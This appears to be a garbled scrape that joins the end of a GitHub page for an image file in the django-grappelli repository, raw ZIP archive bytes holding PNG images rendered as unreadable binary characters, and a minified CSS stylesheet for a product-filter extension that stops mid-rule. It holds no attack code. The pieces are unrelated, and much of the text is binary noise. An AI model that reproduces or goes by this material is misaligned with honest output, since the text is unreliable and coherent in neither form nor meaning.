href="/sehmaschine/django-grappelli/raw/grappelli_2_4/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
class="btn btn-sm BtnGroup-item"
id="raw-url">Download</a>
      <a
href="/sehmaschine/django-grappelli/commits/grappelli_2_4/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
class="btn btn-sm BtnGroup-item"
rel="nofollow">History</a>
    </div>

        <a class="btn-octicon tooltipped tooltipped-nw"
           href="https://windows.github.com"
           aria-label="Open this file in GitHub Desktop"
           data-ga-click="Repository, open with desktop,
type:windows">
            <svg aria-hidden="true" class="octicon
octicon-device-desktop" height="16" version="1.1"
viewBox="0 0 16 16" width="16"><path
fill-rule="evenodd" d="M15 2H1c-.55 0-1 .45-1 1v9c0 .55.45 1
1 1h5.34c-.25.61-.86 1.39-2.34 2h8c-1.48-.61-2.09-1.39-2.34-2H15c.55 0
1-.45 1-1V3c0-.55-.45-1-1-1zm0 9H1V3h14v8z"/></svg>
        </a>

        <!-- '"` --><!-- </textarea></xmp>
--></option></form><form accept-charset="UTF-8"
action="/sehmaschine/django-grappelli/delete/grappelli_2_4/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
class="inline-form" method="post"><div
style="margin:0;padding:0;display:inline"><input
name="utf8" type="hidden"
value="&#x2713;" /><input
name="authenticity_token" type="hidden"
value="jk2499mD08rkmlu6TMgIGHgNOLFjSE8+KRZLajjIRZABpeGykfliFO3ILZTu4uRUeQFnUu3SyDBZEU+LUMJW3g=="
/></div>
          <button class="btn-octicon btn-octicon-danger tooltipped
tooltipped-nw" type="submit"
            aria-label="You must be signed in to make or propose
changes" data-disable-with>
            <svg aria-hidden="true" class="octicon
octicon-trashcan" height="16" version="1.1"
viewBox="0 0 12 16" width="12"><path
fill-rule="evenodd" d="M11 2H9c0-.55-.45-1-1-1H5c-.55 0-1
.45-1 1H2c-.55 0-1 .45-1 1v1c0 .55.45 1 1 1v9c0 .55.45 1 1 1h7c.55 0 1-.45
1-1V5c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1zm-1
12H3V5h1v8h1V5h1v8h1V5h1v8h1V5h1v9zm1-10H2V3h9v1z"/></svg>
          </button>
</form>  </div>

  <div class="file-info">
      <span class="file-mode" title="File
mode">executable file</span>
      <span class="file-info-divider"></span>
    101 Bytes
  </div>
</div>

  

  <div itemprop="text" class="blob-wrapper data
type-text">
      <div class="image">
          <span class="border-wrap"><img
src="/sehmaschine/django-grappelli/blob/grappelli_2_4/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png?raw=true"
alt="ui-bg_highlight-soft_75_cccccc_1x100.png"></span>
      </div>
  </div>

</div>

<button type="button" data-facebox="#jump-to-line"
data-facebox-class="linejump" data-hotkey="l"
class="d-none">Jump to Line</button>
<div id="jump-to-line" style="display:none">
  <!-- '"` --><!-- </textarea></xmp>
--></option></form><form accept-charset="UTF-8"
action="" class="js-jump-to-line-form"
method="get"><div
style="margin:0;padding:0;display:inline"><input
name="utf8" type="hidden"
value="&#x2713;" /></div>
    <input class="form-control linejump-input
js-jump-to-line-field" type="text" placeholder="Jump to
line&hellip;" aria-label="Jump to line" autofocus>
    <button type="submit"
class="btn">Go</button>
</form></div>

  </div>
  <div class="modal-backdrop js-touch-events"></div>
</div>


    </div>
  </div>

    </div>

        <div class="container site-footer-container">
  <div class="site-footer" role="contentinfo">
    <ul class="site-footer-links float-right">
        <li><a href="https://github.com/contact"
data-ga-click="Footer, go to contact, text:contact">Contact
GitHub</a></li>
      <li><a href="https://developer.github.com"
data-ga-click="Footer, go to api,
text:api">API</a></li>
      <li><a href="https://training.github.com"
data-ga-click="Footer, go to training,
text:training">Training</a></li>
      <li><a href="https://shop.github.com"
data-ga-click="Footer, go to shop,
text:shop">Shop</a></li>
        <li><a href="https://github.com/blog"
data-ga-click="Footer, go to blog,
text:blog">Blog</a></li>
        <li><a href="https://github.com/about"
data-ga-click="Footer, go to about,
text:about">About</a></li>

    </ul>

    <a href="https://github.com"
aria-label="Homepage" class="site-footer-mark"
title="GitHub">
      <svg aria-hidden="true" class="octicon
octicon-mark-github" height="24" version="1.1"
viewBox="0 0 16 16" width="24"><path
fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29
6.53 5.47 7.59.4.07.55-.17.55-.38
0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01
1.08.58 1.23.82.72 1.21 1.87.87
2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95
0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18
1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16
1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65
3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013
8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg>
</a>
    <ul class="site-footer-links">
      <li>&copy; 2017 <span title="0.07571s from
github-fe116-cp1-prd.iad.github.net">GitHub</span>,
Inc.</li>
        <li><a href="https://github.com/site/terms"
data-ga-click="Footer, go to terms,
text:terms">Terms</a></li>
        <li><a href="https://github.com/site/privacy"
data-ga-click="Footer, go to privacy,
text:privacy">Privacy</a></li>
        <li><a href="https://github.com/security"
data-ga-click="Footer, go to security,
text:security">Security</a></li>
        <li><a href="https://status.github.com/"
data-ga-click="Footer, go to status,
text:status">Status</a></li>
        <li><a href="https://help.github.com"
data-ga-click="Footer, go to help,
text:help">Help</a></li>
    </ul>
  </div>
</div>



    

    <div id="ajax-error-message"
class="ajax-error-message flash flash-error">
      <svg aria-hidden="true" class="octicon
octicon-alert" height="16" version="1.1"
viewBox="0 0 16 16" width="16"><path
fill-rule="evenodd" d="M8.865
1.52c-.18-.31-.51-.5-.87-.5s-.69.19-.87.5L.275 13.5c-.18.31-.18.69 0 1
.19.31.52.5.87.5h13.7c.36 0 .69-.19.86-.5.17-.31.18-.69.01-1L8.865
1.52zM8.995 13h-2v-2h2v2zm0-3h-2V6h2v4z"/></svg>
      <button type="button" class="flash-close
js-flash-close js-ajax-error-dismiss" aria-label="Dismiss
error">
        <svg aria-hidden="true" class="octicon
octicon-x" height="16" version="1.1"
viewBox="0 0 12 16" width="12"><path
fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6
9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48
1.48z"/></svg>
      </button>
      You can't perform that action at this time.
    </div>


      
      <script crossorigin="anonymous"
integrity="sha256-uzmufYSNQNbwHmc1XigpZPVPo5E3wOzJ/E7Dfn1GlQg="
src="https://assets-cdn.github.com/assets/frameworks-bb39ae7d848d40d6f01e67355e282964f54fa39137c0ecc9fc4ec37e7d469508.js"></script>
      <script async="async" crossorigin="anonymous"
integrity="sha256-eWdDtcNle3lAE930stqMfzh+bw+Bx6YFn7nLg3DHLek="
src="https://assets-cdn.github.com/assets/github-796743b5c3657b794013ddf4b2da8c7f387e6f0f81c7a6059fb9cb8370c72de9.js"></script>
      
      
      
      
    <div class="js-stale-session-flash stale-session-flash flash
flash-warn flash-banner d-none">
      <svg aria-hidden="true" class="octicon
octicon-alert" height="16" version="1.1"
viewBox="0 0 16 16" width="16"><path
fill-rule="evenodd" d="M8.865
1.52c-.18-.31-.51-.5-.87-.5s-.69.19-.87.5L.275 13.5c-.18.31-.18.69 0 1
.19.31.52.5.87.5h13.7c.36 0 .69-.19.86-.5.17-.31.18-.69.01-1L8.865
1.52zM8.995 13h-2v-2h2v2zm0-3h-2V6h2v4z"/></svg>
      <span class="signed-in-tab-flash">You signed in with
another tab or window. <a href="">Reload</a> to
refresh your session.</span>
      <span class="signed-out-tab-flash">You signed out in
another tab or window. <a href="">Reload</a> to
refresh your session.</span>
    </div>
    <div class="facebox" id="facebox"
style="display:none;">
  <div class="facebox-popup">
    <div class="facebox-content" role="dialog"
aria-labelledby="facebox-header"
aria-describedby="facebox-description">
    </div>
    <button type="button" class="facebox-close
js-facebox-close" aria-label="Close modal">
      <svg aria-hidden="true" class="octicon
octicon-x" height="16" version="1.1"
viewBox="0 0 12 16" width="12"><path
fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6
9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48
1.48z"/></svg>
    </button>
  </div>
</div>

  </body>
</html>

PK�v�[1�]55!assets/images/tree-rtl-lv4-bg.pngnu�[����PNG


IHDRUQ�d�LtEXtSoftwareAdobe
ImageReadyq�e<"iTXtXML:com.adobe.xmp<?xpacket
begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP
Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:xmp="http://ns.adobe.com/xap/1.0/"
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"
xmpMM:InstanceID="xmp.iid:49389A02E1E611E6BE65B6E166CA362E"
xmpMM:DocumentID="xmp.did:49389A03E1E611E6BE65B6E166CA362E">
<xmpMM:DerivedFrom
stRef:instanceID="xmp.iid:49389A00E1E611E6BE65B6E166CA362E"
stRef:documentID="xmp.did:49389A01E1E611E6BE65B6E166CA362E"/>
</rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket
end="r"?>�]��IDATx��۱
�0�1���ɫ8PC!��&��S\:�{ܭ���33�-�B�*�P�
*T��
��B�*�P�
*T��
��B�*�P�BT�P*TA�S�ٰ��˨[W��[��
g�~*T��
��B�*�P�
*T��
��B�*�P�
*T��
*TA�
UP�B����8�pI�IEND�B`�PK�v�[\���HHassets/images/color-stars.pngnu�[����PNG


IHDR�2jtEXtSoftwareAdobe
ImageReadyq�e<siTXtXML:com.adobe.xmp<?xpacket
begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP
Core 5.6-c067 79.157747, 2015/03/30-23:40:42        "> <rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
xmlns:xmp="http://ns.adobe.com/xap/1.0/"
xmpMM:OriginalDocumentID="xmp.did:c8cdb5f6-2b33-4f95-a2bb-ed05efbb05d3"
xmpMM:DocumentID="xmp.did:84B04A70166611E68195C6716F520107"
xmpMM:InstanceID="xmp.iid:84B04A6F166611E68195C6716F520107"
xmp:CreatorTool="Adobe Photoshop CC (Macintosh)">
<xmpMM:DerivedFrom
stRef:instanceID="xmp.iid:e8f10950-e434-4bf0-860b-dd041bea606f"
stRef:documentID="xmp.did:e8f10950-e434-4bf0-860b-dd041bea606f"/>
</rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket
end="r"?>r��kIDATxڜ��JA�7*q1Sh���JIi��o�#XY���o!
���'P��T*ha���BH���pV�I4���d�=3�Ξ$�
p�<����i���`����>ѯyDW���0O��Š��PG\�,,�4L�F����6�(AF��M4!-J�|w���Ny���,�����t�cG�0��l�2L��T�-4��`Jc�[��k8�UR��w�`
g�z[Z�D�}K����_:�5�
��ꮍ��
���^/��'/!���߼���%�^*+1ۑ�h�U��Sr���H[���g��>�P�s�Ŝn�����K
����P��(j-�ϭ�-��P��TI�[�K�65�V�u�QIEND�B`�PK�v�[Ͽ�DDassets/images/quantity-bg.pngnu�[����PNG


IHDR;0��tEXtSoftwareAdobe
ImageReadyq�e<fiTXtXML:com.adobe.xmp<?xpacket
begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP
Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
xmlns:xmp="http://ns.adobe.com/xap/1.0/"
xmpMM:OriginalDocumentID="xmp.did:15356373E3C0E611A9EFDE7F62CAE490"
xmpMM:DocumentID="xmp.did:8FC2318BC0EB11E687B8A0D996E9AF6F"
xmpMM:InstanceID="xmp.iid:8FC2318AC0EB11E687B8A0D996E9AF6F"
xmp:CreatorTool="Adobe Photoshop CS6 (Windows)">
<xmpMM:DerivedFrom
stRef:instanceID="xmp.iid:15356373E3C0E611A9EFDE7F62CAE490"
stRef:documentID="xmp.did:15356373E3C0E611A9EFDE7F62CAE490"/>
</rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket
end="r"?>���8tIDATx��Q
�
C��=SO��d�Î-�)��Uaf%CGIRZ�����FmA�3-�1��L���'O��?N��\��uH�{�[5䘴���T��Eφw�kg�_�]:��$8�k?IEND�B`�PK�v�[���*$$assets/images/plus.pngnu�[����PNG


IHDR;֕JtEXtSoftwareAdobe
ImageReadyq�e<fiTXtXML:com.adobe.xmp<?xpacket
begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP
Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
xmlns:xmp="http://ns.adobe.com/xap/1.0/"
xmpMM:OriginalDocumentID="xmp.did:15356373E3C0E611A9EFDE7F62CAE490"
xmpMM:DocumentID="xmp.did:11C8E346C0EB11E684D0F58668726D73"
xmpMM:InstanceID="xmp.iid:11C8E345C0EB11E684D0F58668726D73"
xmp:CreatorTool="Adobe Photoshop CS6 (Windows)">
<xmpMM:DerivedFrom
stRef:instanceID="xmp.iid:15356373E3C0E611A9EFDE7F62CAE490"
stRef:documentID="xmp.did:15356373E3C0E611A9EFDE7F62CAE490"/>
</rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket
end="r"?>QR��TIDATx�̒A
 �课��ZG���Q�Y!"�9(-�;_ɂ�=�#�m��.̌��ֶ�Z�u�u��=m�GTn��ߎ�,��
�P�IEND�B`�PK�v�[ߞ[�r�rassets/css/style.cssnu�[���:root{--ja-mf-primary:#2196f3;--ja-mf-success:#2196f3;--ja-mf-info:#2196f3;--ja-mf-warning:#2196f3;--ja-mf-border:#dbdbdb;--ja-mf-spacing:8px;--ja-mf-border-radius:4px;--ja-mf-trans-base:all
0.25s
ease}.ja-megafilter-wrap.row{margin-left:-15px;margin-right:-15px}.ja-megafilter-wrap,.ja-megafilter-wrap
*{-webkit-box-sizing:border-box;box-sizing:border-box}.ja-megafilter-wrap
.main-content{float:right;padding-left:15px;padding-right:15px;width:75%}.ja-megafilter-wrap
.sidebar-main{padding-left:15px;padding-right:15px;width:25%;float:left}.ja-megafilter-wrap
.sidebar-main .sidebar-toggle{display:none}#myProgress{width:97%;margin:0
auto}#myProgress
#myBar{width:0%;background-color:#ddd;height:3px;-webkit-transition:width
500ms ease;-o-transition:width 500ms ease;transition:width 500ms
ease}#myProgress
#percentBar{text-align:center;font-size:13px}.loading_layer{width:100%;height:100%;z-index:10;overflow:hidden;background:#ffffff;opacity:0.6;filter:alpha(opacity=60)}#loader{display:block;width:150px;height:150px;margin:0
auto;border-radius:50%;border:3px solid
transparent;border-top-color:#16a085;-webkit-animation:spin 1.7s linear
infinite;animation:spin 1.7s linear
infinite;z-index:11}#loader:before{content:"";position:absolute;top:5px;left:5px;right:5px;bottom:5px;border-radius:50%;border:3px
solid transparent;border-top-color:#e74c3c;-webkit-animation:spin-reverse
0.6s linear infinite;animation:spin-reverse 0.6s linear
infinite}#loader:after{content:"";position:absolute;top:15px;left:15px;right:15px;bottom:15px;border-radius:50%;border:3px
solid transparent;border-top-color:#f9c922;-webkit-animation:spin 1s linear
infinite;animation:spin 1s linear infinite}@-webkit-keyframes
spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes
spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@-webkit-keyframes
spin-reverse{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(-360deg);transform:rotate(-360deg)}}@keyframes
spin-reverse{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(-360deg);transform:rotate(-360deg)}}.sb-horizontal.ja-mg-sidebar{float:none;width:auto}.sb-horizontal.ja-mg-sidebar
.filter-options{margin-left:-10px;margin-right:-10px}.sb-horizontal.ja-mg-sidebar
.filter-options:after{content:"";display:table;clear:both}.sb-horizontal.ja-mg-sidebar
.filter-options .filter-field{margin:0 0 20px;float:left;width:33.3%}@media
screen and (max-width:768px){.sb-horizontal.ja-mg-sidebar .filter-options
.filter-field{width:50%}}@media screen and
(max-width:640px){.sb-horizontal.ja-mg-sidebar .filter-options
.filter-field{width:100%}}.sb-horizontal.ja-mg-sidebar .filter-options
.filter-field
.filter-options-title{margin-bottom:-13px;padding-left:30px}.sb-horizontal.ja-mg-sidebar
.filter-options .filter-field .filter-options-title
span{padding-left:15px;padding-right:15px}.sb-horizontal.ja-mg-sidebar
.filter-options .filter-field .filter-options-title
span:after{display:none}.sb-horizontal.ja-mg-sidebar .filter-options
.filter-field .filter-options-title
span:hover{cursor:default}.sb-horizontal.ja-mg-sidebar .filter-options
.filter-field .filter-options-content{background-color:rgba(255, 255, 255,
0.5);border:1px solid #ddd;min-height:150px;height:auto;margin:0
10px;padding:30px 20px 20px}.sb-horizontal.ja-mg-sidebar .filter-options
.filter-field
.filter-options-content:not(.filter-dropdown){overflow-y:auto;height:150px}.sb-horizontal.ja-mg-sidebar
#jamegafilter-search-btn{border-radius:0;-webkit-box-shadow:none;box-shadow:none;text-transform:uppercase;font-weight:600;letter-spacing:1px}.ja-megafilter-wrap.sb-horizontal
.main-content{float:none;width:100%}.main-content.full-width{width:100%!important}.products-toolbar
.pagination{margin:0 0 calc(var(--ja-mf-spacing) * 2)
auto;overflow:hidden}@media (min-width:768px){.products-toolbar
.pagination{margin-bottom:0;margin-left:0}}.products-toolbar
.pagination>li{display:block;float:left;padding:0
5px;overflow:hidden}.products-toolbar
.pagination>li>a,.products-toolbar
.pagination>li>span{border:0;border-bottom:2px solid
transparent;color:#616161;display:block;float:none;line-height:1;margin:0;padding:8px
2px;text-transform:uppercase}.products-toolbar
.pagination>li>a:active,.products-toolbar
.pagination>li>a:focus,.products-toolbar
.pagination>li>a:hover,.products-toolbar
.pagination>li>span:active,.products-toolbar
.pagination>li>span:focus,.products-toolbar
.pagination>li>span:hover{background-color:transparent;border-color:#9e9e9e}.products-toolbar
.pagination>li.active>a{background-color:transparent;border-color:#2196f3;font-weight:bold}.products-toolbar
.pagination>li.active>a:active,.products-toolbar
.pagination>li.active>a:focus,.products-toolbar
.pagination>li.active>a:hover{color:#2196f3}.products-toolbar
.pagination>li:first-child a,.products-toolbar
.pagination>li:first-child span,.products-toolbar
.pagination>li:last-child a,.products-toolbar
.pagination>li:last-child span{border-radius:0}.products-toolbar
.pagination>li.disabled a{color:#ccc}.products-toolbar
.pagination>li.disabled a:active,.products-toolbar
.pagination>li.disabled a:focus,.products-toolbar
.pagination>li.disabled
a:hover{border-color:transparent}.ja-toolbar-wrapper.toolbar-top{margin-bottom:calc(var(--ja-mf-spacing)
* 4)}.products-toolbar
.pagination-wrap{display:-webkit-box;display:-ms-flexbox;display:flex;padding:var(--ja-mf-spacing)
0;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.products-toolbar
.pagination-wrap:after,.products-toolbar
.pagination-wrap:before{display:none}.products-toolbar
.orderby-displaynumber{background-color:#f0f0f0;padding:calc(var(--ja-mf-spacing)
* 1.5) calc(var(--ja-mf-spacing) *
2);position:relative;vertical-align:middle;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}@media
(min-width:768px){.products-toolbar
.orderby-displaynumber{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}}.products-toolbar
.orderby-displaynumber:after,.products-toolbar
.orderby-displaynumber:before{display:none}.products-toolbar
.orderby-displaynumber .limiter{display:inline-block;width:auto}@media
(min-width:768px){.products-toolbar .orderby-displaynumber
.limiter{margin-left:calc(var(--ja-mf-spacing) * 2)}}.products-toolbar
.orderby-displaynumber .limiter
.limiter-options{display:inline-block}@media screen and
(max-width:640px){.products-toolbar .orderby-displaynumber .limiter
.limiter-options{max-width:60px}}.products-toolbar .orderby-displaynumber
.limiter .limiter-label span{padding-left:0}.products-toolbar
.orderby-displaynumber
.toolbar-amount{margin-left:8px;margin-top:0;display:none}@media
(min-width:768px){.products-toolbar .orderby-displaynumber
.toolbar-amount{display:block}}.products-toolbar
#limiter_chzn,.products-toolbar #sorter_chzn,.products-toolbar
.sorter-action,.products-toolbar .sorter-options,.products-toolbar
label{display:inline-block}.products-toolbar span{height:auto;padding:0
5px;vertical-align:middle;width:auto}.products-toolbar
label{font-weight:normal;margin-bottom:0}.products-toolbar
select{border-radius:0;-webkit-box-shadow:none;box-shadow:none}.products-toolbar
.toolbar-sorter{margin-bottom:var(--ja-mf-spacing)}@media
(min-width:992px){.products-toolbar
.toolbar-sorter{margin-bottom:0}}.products-toolbar .toolbar-sorter
.sorter-label{margin-right:var(--ja-mf-spacing)}.products-toolbar
.toolbar-sorter .sorter-action{margin-left:var(--ja-mf-spacing)}@media
screen and (max-width:640px){.products-toolbar .toolbar-sorter
.sorter-options{max-width:120px}}.products-toolbar .toolbar-sorter
.action{background-color:#096;border:0;color:#fff;float:none;height:34px;line-height:30px;padding:0;vertical-align:middle;text-align:center;width:32px}.products-toolbar
.toolbar-sorter .action.sort-asc
.fa-long-arrow-up:before{content:"\f175"}.products-toolbar
.toolbar-amount{background:transparent;border:0;padding:0}.products-toolbar
.toolbar-amount
.toolbar-number{display:inline-block;height:auto;line-height:1;padding:0
5px;width:auto}.products-toolbar
.jamg-layout-chooser{display:none;position:absolute;top:calc(var(--ja-mf-spacing)
* 1.5);right:calc(var(--ja-mf-spacing) * 2)}@media
(min-width:768px){.products-toolbar
.jamg-layout-chooser{display:block}}@media
(min-width:992px){.products-toolbar
.jamg-layout-chooser{position:relative;top:auto;right:auto;margin-left:auto}}.products-toolbar
.jamg-layout-chooser span{background-color:#fff;border:1px solid
#eeeeee;color:#9e9e9e;display:inline-block;height:32px;line-height:32px;margin-left:5px;text-align:center;width:32px}.products-toolbar
.jamg-layout-chooser
span:hover{cursor:pointer;color:#616161}.products-toolbar
.jamg-layout-chooser
span.active{border-color:#2196f3;color:#2196f3}.ja-products-wrapper
.product-items{display:-ms-grid;display:grid;gap:calc(var(--ja-mf-spacing)
*
3);-webkit-box-align:stretch;-ms-flex-align:stretch;align-items:stretch;margin-bottom:calc(var(--ja-mf-spacing)
* 3)}.ja-products-wrapper .product-item{min-width:0}.ja-products-wrapper
.product-item .product-item-info{background:#fff;border:1px solid
var(--ja-mf-border);padding:calc(var(--ja-mf-spacing) *
2);height:100%;-webkit-transition:var(--ja-mf-trans-base);-o-transition:var(--ja-mf-trans-base);transition:var(--ja-mf-trans-base)}.ja-products-wrapper
.product-item
.product-item-info:hover{border-color:var(--ja-mf-primary)}.ja-products-wrapper
.product-item .product-item-info table
span.color-item-bg{border-radius:2px;-webkit-box-shadow:0 0 1px rgba(0, 0,
0, 0.2) inset!important;box-shadow:0 0 1px rgba(0, 0, 0, 0.2)
inset!important}.ja-products-wrapper .product-item .product-item-info table
img{max-width:100%}.ja-products-wrapper .product-item
.product-item-info>h4{font-size:14px;font-weight:400}.ja-products-wrapper
.product-item
.item-field{margin-bottom:var(--ja-mf-spacing)}.ja-products-wrapper
.product-item .item-field a{word-wrap:break-word}.ja-products-wrapper
.product-item a.product-item-photo{position:relative}.ja-products-wrapper
.product-item a.product-item-photo img{max-width:100%}.ja-products-wrapper
.product-item a.product-item-photo
.product-image-badge{position:absolute;top:10px;right:10px}.ja-products-wrapper
.product-item .name{margin-bottom:calc(var(--ja-mf-spacing) *
1.5)}.ja-products-wrapper .product-item
.product-item-name{font-size:120%;font-weight:500;margin:0;line-height:1.3}.ja-products-wrapper
.product-item .desc{margin-bottom:calc(var(--ja-mf-spacing) *
1.5)}.ja-products-wrapper .product-item
.price-box{font-weight:500;font-size:15px}.ja-products-wrapper
.product-item .price-box
.old_price{color:#9e9e9e;margin-right:10px;text-decoration:line-through}.ja-products-wrapper
.product-item .product-item-actions
.addtocart-bar{overflow:hidden}.ja-products-wrapper .product-item
.product-item-actions .addtocart-bar
.quantity-input{border-radius:0;-webkit-box-shadow:none;box-shadow:none;display:block;float:left;height:36px;max-width:50px}.ja-products-wrapper
.product-item .product-item-actions .addtocart-bar
.quantity-controls{display:inline-block;margin-right:10px;margin-left:2px;overflow:hidden;width:17px}.ja-products-wrapper
.product-item .product-item-actions .addtocart-bar .quantity-controls
input{background-color:#eeeeee;background-image:url(../images/quantity-bg.png);background-repeat:no-repeat;border:1px
solid
#ddd;border-radius:0;height:17px;float:left;margin:0;width:17px;-webkit-appearance:none}.ja-products-wrapper
.product-item .product-item-actions .addtocart-bar .quantity-controls
input.quantity-plus{background-position:left
bottom;margin-bottom:2px}.ja-products-wrapper .product-item
.product-item-actions .addtocart-bar .quantity-controls
input.quantity-minus{background-position:-15px -15px}.ja-products-wrapper
.product-item .product-item-actions .addtocart-bar .quantity-controls
input:hover{border-color:#333}.ja-products-wrapper .product-item
.addtocart-button{float:right}.ja-products-wrapper .product-item
.addtocart-button
.btn{background-color:#2196f3;border:0;border-radius:3px;color:#fff;font-weight:600;font-size:13px;letter-spacing:0.5px;padding:10px
15px;text-transform:uppercase}.ja-products-wrapper .product-item
.addtocart-button .btn:active,.ja-products-wrapper .product-item
.addtocart-button .btn:focus,.ja-products-wrapper .product-item
.addtocart-button
.btn:hover{background-color:#0d8aee}.ja-products-wrapper.list
.list.product-items{-ms-grid-columns:(1fr)[1];grid-template-columns:repeat(1,
1fr)}.ja-products-wrapper.list .list
.product-item{margin-bottom:0}.ja-products-wrapper.list .list
.product-item:last-child
.product-item-info{border-bottom:0;padding-bottom:0}.ja-products-wrapper.list
.list .product-item .product-item-info{border:0;border-bottom:1px solid
#ddd;padding-left:calc(var(--ja-mf-spacing) *
23);padding-right:0;position:relative;overflow:hidden;min-height:200px}.ja-products-wrapper.list
.list .product-item
.product-item-info:hover{-webkit-box-shadow:none;box-shadow:none}.ja-products-wrapper.list
.list .product-item
.product-item-info.no-image{padding-left:0}.ja-products-wrapper.list .list
.product-item .product-item-info
.product-item-details{overflow:hidden}.ja-products-wrapper.list .list
.product-item .product-item-info
.thumb{position:absolute;left:0;top:20px}.ja-products-wrapper.list .list
.product-item .product-item-info
.product-item-photo{background-color:#fff;margin-bottom:0;padding:0}.ja-products-wrapper.list
.list .product-item .product-item-info .product-item-photo
img{max-width:calc(var(--ja-mf-spacing) * 20)}.ja-products-wrapper.list
.list .product-item .product-item-info
.product-item-actions{float:left}.ja-products-wrapper
.cols-1.product-items{-ms-grid-columns:(1fr)[1];grid-template-columns:repeat(1,
1fr)}@media (min-width:768px){.ja-products-wrapper
.cols-2.product-items{-ms-grid-columns:(1fr)[2];grid-template-columns:repeat(2,
1fr)}}@media (min-width:768px){.ja-products-wrapper
.cols-3.product-items{-ms-grid-columns:(1fr)[2];grid-template-columns:repeat(2,
1fr)}}@media (min-width:992px){.ja-products-wrapper
.cols-3.product-items{-ms-grid-columns:(1fr)[3];grid-template-columns:repeat(3,
1fr)}}@media (min-width:768px){.ja-products-wrapper
.cols-4.product-items{-ms-grid-columns:(1fr)[2];grid-template-columns:repeat(2,
1fr)}}@media (min-width:992px){.ja-products-wrapper
.cols-4.product-items{-ms-grid-columns:(1fr)[4];grid-template-columns:repeat(4,
1fr)}}@media (min-width:768px){.ja-products-wrapper
.cols-5.product-items{-ms-grid-columns:(1fr)[2];grid-template-columns:repeat(2,
1fr)}}@media (min-width:992px){.ja-products-wrapper
.cols-5.product-items{-ms-grid-columns:(1fr)[3];grid-template-columns:repeat(3,
1fr)}}@media (min-width:1200px){.ja-products-wrapper
.cols-5.product-items{-ms-grid-columns:(1fr)[5];grid-template-columns:repeat(5,
